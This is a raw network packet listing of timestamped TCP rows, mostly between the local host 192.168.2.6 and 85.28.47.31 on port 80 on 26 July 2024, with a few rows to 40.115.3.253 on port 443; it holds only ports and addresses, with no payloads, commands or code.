Jul 26, 2024 10:36:13.074374914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074400902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.074400902 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.074579954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.074681997 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074692965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074697971 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074769974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074779987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074785948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074790955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.074815035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.074853897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.074881077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.075050116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075061083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075071096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075082064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075093031 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075103045 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075114012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075123072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075134039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075155973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.075155973 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.075212955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.075212955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.075321913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075381041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.075628996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075640917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075650930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075679064 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.075721979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.075753927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075764894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075777054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.075815916 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.075860023 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.137593031 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.142632008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.156609058 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:13.156634092 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:13.156723976 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:13.157506943 CEST	49712	443	192.168.2.6	40.115.3.253
Jul 26, 2024 10:36:13.157521009 CEST	443	49712	40.115.3.253	192.168.2.6
Jul 26, 2024 10:36:13.318948984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.318970919 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.318980932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319042921 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319055080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319067955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319073915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319081068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319093943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319133997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319179058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319194078 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319253922 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319266081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319448948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319459915 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319472075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319559097 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319571018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319581032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319591045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319591045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319602013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319613934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319623947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319634914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319636106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319648027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319684982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319684982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319783926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319797039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319807053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319818974 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.319838047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.319869041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.320095062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320107937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320117950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320128918 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320141077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320152998 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320169926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.320169926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.320225954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.320487022 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320537090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320549011 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320574999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.320574999 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.320672989 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320684910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320696115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320708036 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320723057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.320723057 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.320799112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320904016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.320904016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.320908070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320920944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320931911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320944071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320955992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320966959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.320979118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321037054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.321037054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.321037054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.321047068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321129084 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.321145058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321157932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321168900 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321180105 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321191072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321213007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.321242094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.321245909 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321259975 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321368933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.321368933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.321779966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321791887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321801901 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321814060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321825981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321836948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321849108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321860075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.321880102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.321880102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.321966887 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322065115 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322077990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322088957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322099924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322112083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322123051 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322134018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322139978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322139978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322145939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322158098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322206974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322206974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322206974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322712898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322725058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322736025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322747946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322758913 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322771072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322782993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322794914 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322805882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322818041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322827101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322827101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322827101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322851896 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322864056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322870970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322876930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322889090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322907925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322909117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322920084 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322933912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322937012 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322951078 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322953939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322967052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322978973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.322984934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.322993040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323024035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323057890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323331118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323343039 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323354959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323367119 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323376894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323389053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323402882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323420048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323426962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323426962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323426962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323446035 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323484898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323668957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323681116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323693037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323735952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323735952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323815107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323827982 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323838949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323851109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323892117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323892117 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.323971987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.323991060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.324002028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.324013948 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.324024916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.324063063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.324063063 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.324132919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411475897 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411688089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411700964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411753893 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411756039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411756039 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411766052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411783934 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411793947 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411798954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411798954 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411806107 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411815882 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411844015 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411844969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411860943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411871910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411873102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411883116 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411895037 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411927938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411927938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411948919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.411952019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411963940 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411974907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411987066 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.411998987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412065029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412065029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412065029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412292004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412303925 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412313938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412324905 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412337065 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412343979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412354946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412362099 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412370920 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412383080 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412391901 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412395954 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412410021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412421942 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412473917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412473917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412473917 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412662029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412673950 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412695885 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412705898 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412717104 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412729979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412741899 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412775040 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412848949 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412863016 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412868023 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412873983 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412879944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412883997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.412887096 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412894964 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.412992001 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.413187027 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413197994 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413208961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413219929 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413238049 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413254976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413264036 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.413275003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.413289070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413300991 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413312912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413325071 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413331985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.413331985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.413337946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413351059 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413362026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413372040 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413383961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413414955 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.413485050 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.413944006 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413955927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413968086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413980007 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.413992882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.414046049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.414046049 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.414047003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.414133072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.414215088 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.419034004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419055939 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419068098 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419131041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.419131041 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.419174910 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419187069 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419198990 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419212103 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419234037 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.419297934 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.419333935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419346094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419357061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419367075 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419378996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419389963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419392109 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 26, 2024 10:36:13.419403076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419420958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 26, 2024 10:36:13.419435024 CEST	80	49710	85.28.47.31	192.168.2.6
